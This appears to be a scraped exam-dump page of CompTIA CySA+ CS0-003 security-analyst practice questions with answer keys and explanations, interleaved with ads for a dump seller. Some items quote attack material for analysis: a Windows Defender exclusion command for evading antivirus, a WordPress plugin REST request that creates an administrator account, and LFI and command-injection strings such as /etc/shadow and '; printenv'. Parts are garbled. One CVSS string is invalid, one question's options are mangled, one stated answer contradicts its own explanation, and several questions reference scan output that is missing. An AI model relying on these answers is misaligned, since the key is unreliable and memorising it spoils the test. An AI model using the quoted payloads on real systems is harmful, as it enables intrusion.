line 7 Which of the following malicious activities was most likely attempted? A. XSS B. CSRF C. SSRF D. RCE Answer: C Explanation: The malicious activity that was most likely attempted is SSRF (Server-Side Request Forgery). This is a type of attack that exploits a vulnerable web application to make requests to other resources on behalf of the web server. In this case, the attacker tried to use the fopen function to access the local loopback address (127.0.0.1) on port 16, which could be a service that is not intended to be exposed to the public. The connection was refused, indicating that the port was closed or filtered. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 2: Software and Application Security, page 66. NEW QUESTION 80 Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy. Which of the following authentication methods should the analyst use? A. MFA B. User and password C. PAM D. Key pair Answer: D Explanation: Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) Key pair authentication is a method of using a public and private key to securely access cloud resources, such as downloading the configuration of assets from a cloud tenancy. Key pair authentication is more secure than user and password or PAM, and does not require an additional factor like MFA. References: Authentication Methods - Configuring Tenant-Wide Settings in Azure …, Cloud Foundation - Oracle Help Center NEW QUESTION 83 Given the following CVSS string- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/3:U/C:K/I:K/A:H Which of the following attributes correctly describes this vulnerability? A. A user is required to exploit this vulnerability. B. The vulnerability is network based. C. The vulnerability does not affect confidentiality. D. The complexity to exploit the vulnerability is high. Answer: B Explanation: The vulnerability is network based is the correct attribute that describes this vulnerability, as it can be inferred from the CVSS string. CVSS stands for Common Vulnerability Scoring System, which is a framework that assigns numerical scores and ratings to vulnerabilities based on their characteristics and severity. The CVSS string consists of several metrics that define different aspects of the vulnerability, such as the attack vector, the attack complexity, the privileges required, the user interaction, the scope, and the impact on confidentiality, integrity and availability. The first metric in the CVSS string is the attack vector (AV), which indicates how the vulnerability can be exploited. The value of AV in this case is N, which stands for network. This means that the vulnerability can be exploited remotely over a network connection, without physical or logical access to the target system. Therefore, the vulnerability is network based. Official References: ? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives ? https://www.comptia.org/certifications/cybersecurity-analyst ? https://packitforwarding.com/index.php/2019/01/10/comptia-cysa-common-vulnerability-scoring-system-cvss/ NEW QUESTION 86 Each time a vulnerability assessment team shares the regular report with other teams, inconsistencies regarding versions and patches in the existing infrastructure are discovered. Which of the following is the best solution to decrease the inconsistencies? A. Implementing credentialed scanning B. Changing from a passive to an active scanning approach C. Implementing a central place to manage IT assets D. Performing agentless scanning Answer: C Explanation: Implementing a central place to manage IT assets is the best solution to decrease the inconsistencies regarding versions and patches in the existing infrastructure. A central place to manage IT assets, such as a configuration management database (CMDB), can help the vulnerability assessment team to have an accurate and up-to-date inventory of all the hardware and software components in the network, as well as their relationships and dependencies. A CMDB can also track the changes and updates made to the IT assets, and provide a single source of truth for the vulnerability assessment team and other teams to compare and verify the versions and patches of the infrastructure12. Implementing credentialed scanning, changing from a passive to an active scanning approach, and performing agentless scanning are all methods to improve the vulnerability scanning process, but they do not address the root cause of the inconsistencies, which is the lack of a central place to manage IT assets3. References: What is a Configuration Management Database (CMDB)?, How to Use a CMDB to Improve Vulnerability Management, Vulnerability Scanning Best Practices NEW QUESTION 90 An employee accessed a website that caused a device to become infected with invasive malware. The incident response analyst has: created the initial evidence log. disabled the wireless adapter on the device. interviewed the employee, who was unable to identify the website that was accessed reviewed the web proxy traffic logs. Which of the following should the analyst do to remediate the infected device? A. Update the system firmware and reimage the hardware. B. Install an additional malware scanner that will send email alerts to the analyst. C. Configure the system to use a proxy server for Internet access. D. Delete the user profile and restore data from backup. Answer: A Explanation: Updating the system firmware and reimaging the hardware is the best action to perform to remediate the infected device, as it helps to ensure that the device is restored to a clean and secure state and that any traces of malware are removed. Firmware is a type of software that controls the low-level functions of a hardware device, such as a motherboard, hard drive, or network card. Firmware can be updated or flashed to fix bugs, improve performance, or enhance security. Reimaging is a process of erasing and restoring the data on a storage device, such as a hard drive or a solid state drive, using an image file that contains a copy of the operating system, applications, settings, and files. Reimaging can help to recover from system failures, data corruption, or malware infections. Updating the system firmware and reimaging the hardware can help to remediate the infected device by removing any malicious code or configuration changes that may have been made by the malware, as well as restoring any missing or damaged files or settings that may have been affected by the malware. This can help to prevent further damage, data loss, or compromise of the device or the network. The other actions are not as effective or appropriate as updating the system firmware and reimaging the hardware, as they do not address the root cause of the infection or ensure that the device is fully cleaned and secured. Installing an additional malware scanner that will send email alerts to the analyst may help to detect and remove some types of malware, but it may not be able to catch all malware variants or remove them completely. It may also create conflicts or performance issues with other security tools or systems on the device. Configuring the system to use a proxy server for Internet access may help to filter or monitor some types of malicious traffic or requests, but it may not prevent or remove malware that has already infected the device or that uses other methods of communication or propagation. Deleting the user profile and restoring data from backup may help to recover some data or settings that may have been affected by the malware, but it may not remove malware that has infected other parts of the system or that has persisted on the device. Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) NEW QUESTION 95 An employee downloads a freeware program to change the desktop to the classic look of legacy Windows. Shortly after the employee installs the program, a high volume of random DNS queries begin to originate from the system. An investigation on the system reveals the following: Add-MpPreference -ExclusionPath '%Program Filest\ksysconfig' Which of the following is possibly occurring? A. Persistence B. Privilege escalation C. Credential harvesting D. Defense evasion Answer: D Explanation: Defense evasion is the technique of avoiding detection or prevention by security tools or mechanisms. In this case, the freeware program is likely a malware that generates random DNS queries to communicate with a command and control server or exfiltrate data. The command Add-MpPreference -ExclusionPath '%Program Filest\ksysconfig' is used to add an exclusion path to Windows Defender, which is a built-in antivirus software, to prevent it from scanning the malware folder. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 204; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 212. pr NEW QUESTION 100 Which of the following statements best describes the MITRE ATT&CK framework? A. It provides a comprehensive method to test the security of applications. B. It provides threat intelligence sharing and development of action and mitigation strategies. C. It helps identify and stop enemy activity by highlighting the areas where an attacker functions. D. It tracks and understands threats and is an open-source project that evolves. E. It breaks down intrusions into a clearly defined sequence of phases. Answer: D Explanation: The MITRE ATT&CK framework is a knowledge base of cybercriminals’ adversarial behaviors based on cybercriminals’ known tactics, techniques and procedures (TTPs). It helps security teams model, detect, prevent and fight cybersecurity threats by simulating cyberattacks, creating security policies, controls and incident response plans, and sharing information with other security professionals. It is an open-source project that evolves with input from a global community of cybersecurity professionals1. References: What is the MITRE ATT&CK Framework? | IBM NEW QUESTION 103 A team of analysts is developing a new internal system that correlates information from a variety of sources analyzes that information, and then triggers notifications according to company policy Which of the following technologies was deployed? A. SIEM B. SOAR C. IPS D. CERT Answer: A Explanation: SIEM (Security Information and Event Management) technology aggregates and analyzes activity from many different resources across your IT infrastructure. The description of correlating information from various sources and triggering notifications aligns with the capabilities of a SIEM system. NEW QUESTION 107 An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to? A. PCI Security Standards Council B. Local law enforcement C. Federal law enforcement D. Card issuer Answer: D Explanation: Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References: https://www.pcisecuritystandards.org/ NEW QUESTION 108 During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this problem if applied along the SDLC phase? A. Conduct regular red team exercises over the application in production B. Ensure that all implemented coding libraries are regularly checked C. Use application security scanning as part of the pipeline for the CI/CDflow D. Implement proper input validation for any data entry form Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) Answer: C Explanation: Application security scanning is a process that involves testing and analyzing applications for security vulnerabilities, such as injection flaws, broken authentication, cross-site scripting, and insecure configuration. Application security scanning can help identify and fix security issues before they become exploitable by attackers. Using application security scanning as part of the pipeline for the continuous integration/continuous delivery (CI/CD) flow can help mitigate the problem of finding the same vulnerabilities in a critical application during security scanning. This is because application security scanning can be integrated into the development lifecycle and performed automatically and frequently as part of the CI/CD process. NEW QUESTION 109 During an internal code review, software called "ACE" was discovered to have a vulnerability that allows the execution of arbitrary code. The vulnerability is in a legacy, third-party vendor resource that is used by the ACE software. ACE is used worldwide and is essential for many businesses in this industry. Developers informed the Chief Information Security Officer that removal of the vulnerability will take time. Which of the following is the first action to take? A. Look for potential loCs in the company. B. Inform customers of the vulnerability. C. Remove the affected vendor resource from the ACE software. D. Develop a compensating control until the issue can be fixed permanently. Answer: D Explanation: A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case, the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205. NEW QUESTION 113 While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems. Which of the following should be checked first? A. If appropriate logging levels are set B. NTP configuration on each system C. Behavioral correlation settings D. Data normalization rules Answer: B Explanation: The NTP configuration on each system should be checked first, as it is essential for ensuring accurate and consistent time stamps across different systems. NTP is the Network Time Protocol, which is used to synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks accordingly1. If the NTP configuration is not consistent or correct on each system, the time stamps of the logs and events may differ, making it difficult to correlate incidents across different systems. This can affect the security analysis and correlation of events, as well as the compliance and auditing of the network23. References: How the Windows Time Service Works, Time Synchronization - All You Need To Know, What is SIEM? | Microsoft Security NEW QUESTION 118 A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process? A. Testing B. Implementation C. Validation D. Rollback Answer: C Explanation: The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing. NEW QUESTION 123 After identifying a threat, a company has decided to implement a patch management program to remediate vulnerabilities. Which of the following risk management principles is the company exercising? A. Transfer B. Accept C. Mitigate D. Avoid Answer: C Explanation: Mitigate is the best term to describe the risk management principle that the company is exercising, as it means to reduce the likelihood or impact of a risk. By implementing a patch management program to remediate vulnerabilities, the company is mitigating the threat of cyberattacks that could exploit those vulnerabilities Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) and compromise the security or functionality of the systems. The other terms are not as accurate as mitigate, as they describe different risk management principles. Transfer means to shift the responsibility or burden of a risk to another party, such as an insurer or a contractor. Accept means to acknowledge the existence of a risk and decide not to take any action to reduce it, usually because the risk is low or the cost of mitigation is too high. Avoid means to eliminate the possibility of a risk by changing the plans or activities that could cause it, such as cancelling a project or discontinuing a service. NEW QUESTION 128 Which of the following best describes the process of requiring remediation of a known threat within a given time frame? A. SLA B. MOU C. Best-effort patching D. Organizational governance Answer: A Explanation: An SLA (Service Level Agreement) is a contract or agreement between a service provider and a customer that defines the expected level of service, performance, quality, and availability of the service. An SLA also specifies the responsibilities, obligations, and penalties for both parties in case of non-compliance or breach of the agreement. An SLA can help organizations to ensure that their security services are delivered in a timely and effective manner, and that any security incidents or vulnerabilities are addressed and resolved within a specified time frame. An SLA can also help to establish clear communication, expectations, and accountability between the service provider and the customer12 An MOU (Memorandum of Understanding) is a document that expresses a mutual agreement or understanding between two or more parties on a common goal or objective. An MOU is not legally binding, but it can serve as a basis for future cooperation or collaboration. An MOU may not be suitable for requiring remediation of a known threat within a given time frame, as it does not have the same level of enforceability, specificity, or measurability as an SLA. Best-effort patching is an informal and ad hoc approach to applying security patches or updates to systems or software. Best-effort patching does not follow any defined process, policy, or schedule, and relies on the availability and discretion of the system administrators or users. Best-effort patching may not be effective or efficient for requiring remediation of a known threat within a given time frame, as it does not guarantee that the patches are applied correctly, consistently, or promptly. Best-effort patching may also introduce new risks or vulnerabilities due to human error, compatibility issues, or lack of testing. Organizational governance is the framework of rules, policies, procedures, and processes that guide and direct the activities and decisions of an organization. Organizational governance can help to establish the roles, responsibilities, and accountabilities of different stakeholders within the organization, as well as the goals, values, and principles that shape the organizational culture and behavior. Organizational governance can also help to ensure compliance with internal and external standards, regulations, and laws. Organizational governance may not be sufficient for requiring remediation of a known threat within a given time frame, as it does not specify the details or metrics of the service delivery or performance. Organizational governance may also vary depending on the size, structure, and nature of the organization. NEW QUESTION 132 A systems administrator receives reports of an internet-accessible Linux server that is running very sluggishly. The administrator examines the server, sees a high amount of memory utilization, and suspects a DoS attack related to half-open TCP sessions consuming memory. Which of the following tools would best help to prove whether this server was experiencing this behavior? A. Nmap B. TCPDump C. SIEM D. EDR Answer: B Explanation: TCPDump is the best tool to prove whether the server was experiencing a DoS attack related to half-open TCP sessions consuming memory. TCPDump is a command-line tool that can capture and analyze network traffic, such as TCP, UDP, and ICMP packets. TCPDump can help the administrator to identify the source and destination of the traffic, the TCP flags and sequence numbers, the packet size and frequency, and other information that can indicate a DoS attack. A DoS attack related to half-open TCP sessions is also known as a SYN flood attack, which is a type of volumetric attack that aims to exhaust the network bandwidth or resources of the target server by sending a large amount of TCP SYN requests and ignoring the TCP SYN-ACK responses. This creates a backlog of half-open connections on the server, which consume memory and CPU resources, and prevent legitimate connections from being established12. TCPDump can help the administrator to detect a SYN flood attack by looking for a high number of TCP SYN packets with different source IP addresses, a low number of TCP SYN-ACK packets, and a very low number of TCP ACK packets34. References: SYN flood DDoS attack | Cloudflare, What is a SYN flood attack and how to prevent it? | NETSCOUT, TCPDump - A Powerful Tool for Network Analysis and Security, How to Detect a SYN Flood Attack with TCPDump NEW QUESTION 137 A vulnerability analyst received a list of system vulnerabilities and needs to evaluate the relevant impact of the exploits on the business. Given the constraints of the current sprint, only three can be remediated. Which of the following represents the least impactful risk, given the CVSS3.1 base scores? A. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L - Base Score 6.0 B. AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L - Base Score 7.2 C. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H - Base Score 6.4 D. AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L - Base Score 6.5 Answer: A Explanation: This option represents the least impactful risk because it has the lowest base score among the four options, and it also requires high privileges, user interaction, and high attack complexity to exploit, which reduces the likelihood of a successful attack. References: The base scores were calculated using the Common Vulnerability Scoring System Version 3.1 Calculator from FIRST. The explanation was based on the CVSS standards guide from NVD and the CVSS 3.1 Calculator Online from Calculators Hub. NEW QUESTION 140 Which of the following would eliminate the need for different passwords for a variety or internal application? A. CASB B. SSO Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) C. PAM D. MFA Answer: B Explanation: Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications, streamlining the authentication process. NEW QUESTION 142 Which of the following risk management principles is accomplished by purchasing cyber insurance? A. Accept B. Avoid C. Mitigate D. Transfer Answer: D Explanation: Transfer is the risk management principle that is accomplished by purchasing cyber insurance. Transfer is a strategy that involves shifting the risk or its consequences to another party, such as an insurance company, a vendor, or a partner. Transfer does not eliminate the risk, but it reduces the potential impact or liability of the risk for the original party. Cyber insurance is a type of insurance that covers the losses and damages resulting from cyberattacks, such as data breaches, ransomware, denial-of-service attacks, or network disruptions. Cyber insurance can help transfer the risk of cyber incidents by providing financial compensation, legal assistance, or recovery services to the insured party. Official References: ? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives ? https://www.comptia.org/certifications/cybersecurity-analyst ? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your- questions-answered NEW QUESTION 145 A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer? A. SLA B. MOU C. NDA D. Limitation of liability Answer: A Explanation: SLA stands for service level agreement, which is a contract or document that defines the expectations and obligations between a service provider and a customer regarding the quality, availability, performance, or scope of a service. An SLA may also specify the metrics, penalties, or remedies for measuring or ensuring compliance with the agreed service levels. An SLA can help the SOC manager review if the team is meeting the appropriate contractual obligations for the customer, such as response time, resolution time, reporting frequency, or communication channels. NEW QUESTION 149 An analyst has received an IPS event notification from the SIEM stating an IP address, which is known to be malicious, has attempted to exploit a zero-day vulnerability on several web servers. The exploit contained the following snippet: /wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role=administrator Which of the following controls would work best to mitigate the attack represented by this snippet? A. Limit user creation to administrators only. B. Limit layout creation to administrators only. C. Set the directory trx_addons to read only for all users. D. Set the directory v2 to read only for all users. Answer: A Explanation: Limiting user creation to administrators only would work best to mitigate the attack represented by this snippet. The snippet shows an attempt to exploit a zero-day vulnerability in the ThemeREX Addons WordPress plugin, which allows remote code execution by invoking arbitrary PHP functions via the REST-API endpoint /wp- json/trx_addons/V2/get/sc_layout. In this case, the attacker tries to use the wp_insert_user function to create a new administrator account on the WordPress site12. Limiting user creation to administrators only would prevent the attacker from succeeding, as they would need to provide valid administrator credentials to create a new user. This can be done by using a plugin or a code snippet that restricts user registration to administrators34. Limiting layout creation to administrators only, setting the directory trx_addons to read only for all users, and setting the directory v2 to read only for all users are not effective controls to mitigate the attack, as they do not address the core of the vulnerability, which is the lack of input validation and sanitization on the REST-API endpoint. Moreover, setting directories to read only may affect the functionality of the plugin or the WordPress site56. References: Zero-Day Vulnerability in ThemeREX Addons Now Patched - Wordfence, Mitigating Zero Day Attacks With a Detection, Prevention … - Spiceworks, How to Restrict WordPress User Registration to Specific Email …, How to Limit WordPress User Registration to Specific Domains, WordPress File Permissions: A Guide to Securing Your Website, WordPress File Permissions: What is the Ideal Setting? NEW QUESTION 152 A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability? A. /etc/ shadow Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) B. curl localhost C. ; printenv D. cat /proc/self/ Answer: A Explanation: /etc/shadow is the pattern that the security analyst can use to search the web server logs for evidence of exploitation of the LFI vulnerability that can be exploited to extract credentials from the underlying host. LFI stands for Local File Inclusion, which is a vulnerability that allows an attacker to include local files on the web server into the output of a web application. LFI can be exploited to extract sensitive information from the web server, such as configuration files, passwords, or source code. The /etc/shadow file is a file that stores the encrypted passwords of all users on a Linux system. If an attacker can exploit the LFI vulnerability to include this file into the web application output, they can obtain the credentials of the users on the web server. Therefore, the security analyst can look for /etc/shadow in the request line of the web server logs to see if any attacker has attempted or succeeded in exploiting the LFI vulnerability. Official References: ? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives ? https://www.comptia.org/certifications/cybersecurity-analyst ? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your- questions-answered NEW QUESTION 157 A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway. Which of the following commands should the security analyst consider running? A. grep [IP address] packets.pcapB cat packets.pcap | grep [IP Address] B. tcpdump -n -r packets.pcap host [IP address] C. strings packets.pcap | grep [IP Address] Answer: C Explanation: tcpdump is a command-line tool that can capture and analyze network packets from a given interface or file. The -n option prevents tcpdump from resolving hostnames, which can speed up the analysis. The -r option reads packets from a file, in this case packets.pcap. The host [IP address] filter specifies that tcpdump should only display packets that have the given IP address as either the source or the destination. This command can help the security analyst detect connections to a suspicious IP address by collecting the packet captures from the gateway. Official References: ? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives ? https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test- questions-with-answers ? https://www.reddit.com/r/CompTIA/comments/tmxx84/passed_cysa_heres_my_experience_and_how_i_studied/ NEW QUESTION 160 A company's security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best practices? A. Help desk B. Law enforcement C. Legal department D. Board member Answer: C Explanation: The correct answer is C. Legal department. According to the CompTIA Cybersecurity Analyst (CySA+) certification exam objectives, one of the tasks for a security analyst is to “report and escalate security incidents to appropriate stakeholders and authorities” 1. This includes reporting any inappropriate use of resources, such as installing cryptominers on workstations, which may violate the company’s policies and cause financial and reputational damage. The legal department is the most appropriate group to escalate this issue to first, as they can advise on the legal implications and actions that can be taken against the employee. The legal department can also coordinate with other groups, such as law enforcement, help desk, or board members, as needed. The other options are not the best choices to escalate the issue to first, as they may not have the authority or expertise to handle the situation properly. NEW QUESTION 164 Due to an incident involving company devices, an incident responder needs to take a mobile phone to the lab for further investigation. Which of the following tools should be used to maintain the integrity of the mobile phone while it is transported? (Select two). A. Signal-shielded bag B. Tamper-evident seal C. Thumb drive D. Crime scene tape E. Write blocker F. Drive duplicator Answer: AB Explanation: A signal-shielded bag and a tamper-evident seal are tools that can be used to maintain the integrity of the mobile phone while it is transported. A signal-shielded bag prevents the phone from receiving or sending any signals that could compromise the data or evidence on the device. A tamper-evident seal ensures that the phone has not been opened or altered during the transportation. ReferencesM: obile device forensics, Section: Acquisition NEW QUESTION 167 A technician is analyzing output from a popular network mapping tool for a PCI audit: Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) Which of the following best describes the output? A. The host is not up or responding. B. The host is running excessive cipher suites. C. The host is allowing insecure cipher suites. D. The Secure Shell port on this host is closed Answer: C Explanation: The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that should not be used. Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS. NEW QUESTION 172 A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files? A. Change the display filter to f c B. acciv C. pore D. Change the display filter to tcg.port=20 E. Change the display filter to f cp-daca and follow the TCP streams F. Navigate to the File menu and select FTP from the Export objects option Answer: C Explanation: The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred during the FTP session NEW QUESTION 176 A cybersecurity analyst is recording the following details Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) * ID * Name * Description * Classification of information * Responsible party In which of the following documents is the analyst recording this information? A. Risk register B. Change control documentation C. Incident response playbook D. Incident response plan Answer: A Explanation: A risk register typically contains details like ID, name, description, classification of information, and responsible party. It’s used for tracking identified risks and managing them.Recording details like ID, Name, Description, Classification of information, and Responsible party is typically done in a Risk Register. This document is used to identify, assess, manage, and monitor risks within an organization. It's not directly related to incident response or change control documentation. NEW QUESTION 180 Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide? A. Review Of security requirements B. Compliance checks C. Decomposing the application D. Security by design Answer: C Explanation: The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the security risks associated with an application. The first step in the threat modeling process is decomposing the application, which involves creating use cases, identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps to understand the application and how it interacts with external entities, as well as to identify potential threats and vulnerabilities1. The other options are not part of the OWASP WSTG threat modeling process. NEW QUESTION 185 An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign? A. Information sharing organization B. Blogs/forums C. Cybersecuritv incident response team D. Deep/dark web Answer: A Explanation: An information sharing organization is a group or network of organizations that share threat intelligence, best practices, or lessons learned related to cybersecurity issues or incidents. An information sharing organization can help security analysts learn about new ransomware campaigns or other emerging threats, as well as get recommendations or guidance on how to prevent, detect, or respond to them. An information sharing organization can also help security analysts collaborate or coordinate with other organizations in the same industry or region that may face similar threats or challenges. NEW QUESTION 188 The security team reviews a web server for XSS and runs the following Nmap scan: Which of the following most accurately describes the result of the scan? A. An output of characters > and " as the parameters used m the attempt B. The vulnerable parameter ID hccp://l72.31.15.2/1.php?id-2 and unfiltered characters returned C. The vulnerable parameter and unfiltered or encoded characters passed > and " as unsafe D. The vulnerable parameter and characters > and " with a reflected XSS attempt Answer: D Explanation: A cross-site scripting (XSS) attack is a type of web application attack that injects malicious code into a web page that is then executed by the browser of a victim user. A reflected XSS attack is a type of XSS attack where the malicious code is embedded in a URL or a form parameter that is sent to the web server and then reflected back to the user’s browser. In this case, the Nmap scan shows that the web server is vulnerable to a reflected XSS attack, as it returns the characters > Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) and " without any filtering or encoding. The vulnerable parameter is id in the URL http://172.31.15.2/1.php?id=2. NEW QUESTION 189 An analyst is evaluating a vulnerability management dashboard. The analyst sees that a previously remediated vulnerability has reappeared on a database server. Which of the following is the most likely cause? A. The finding is a false positive and should be ignored. B. A rollback had been executed on the instance. C. The vulnerability scanner was configured without credentials. D. The vulnerability management software needs to be updated. Answer: B Explanation: A rollback had been executed on the instance. If a database server is restored to a previous state, it may reintroduce a vulnerability that was previously fixed. This can happen due to backup and recovery operations, configuration changes, or software updates. A rollback can undo the patching or mitigation actions that were applied to remediate the vulnerability. References: Vulnerability Remediation: It’s Not Just Patching, Section: The Remediation Process; Vulnerability assessment for SQL Server, Section: Remediation NEW QUESTION 194 A security analyst reviews the following results of a Nikto scan: Which of the following should the security administrator investigate next? A. tiki B. phpList C. shtml.exe D. sshome Answer: C Explanation: The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan results indicate that the web server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server Side Includes (SSI) feature, which allows dynamic content generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers to execute arbitrary commands on the web server by injecting malicious code into the URL or the web page12. Therefore, the security administrator should check the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References: Nikto-Penetration testing. Introduction, Web application scanning with Nikto NEW QUESTION 197 Which of the following is a nation-state actor least likely to be concerned with? A. Detection by MITRE ATT&CK framework. B. Detection or prevention of reconnaissance activities. C. Examination of its actions and objectives. D. Forensic analysis for legal action of the actions taken Answer: D Explanation: A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by nation-state actors. They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent, Passing Certification Exams Made Easy visit - https://www.surepassexam.com  Recommend!! Get the Full CS0-003 dumps in VCE and PDF From SurePassExam https://www.surepassexam.com/CS0-003-exam-dumps.html (150 New Questions) and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution. References: ? 1: MITRE ATT&CK® ? 2: What is the MITRE ATT&CK Framework? | 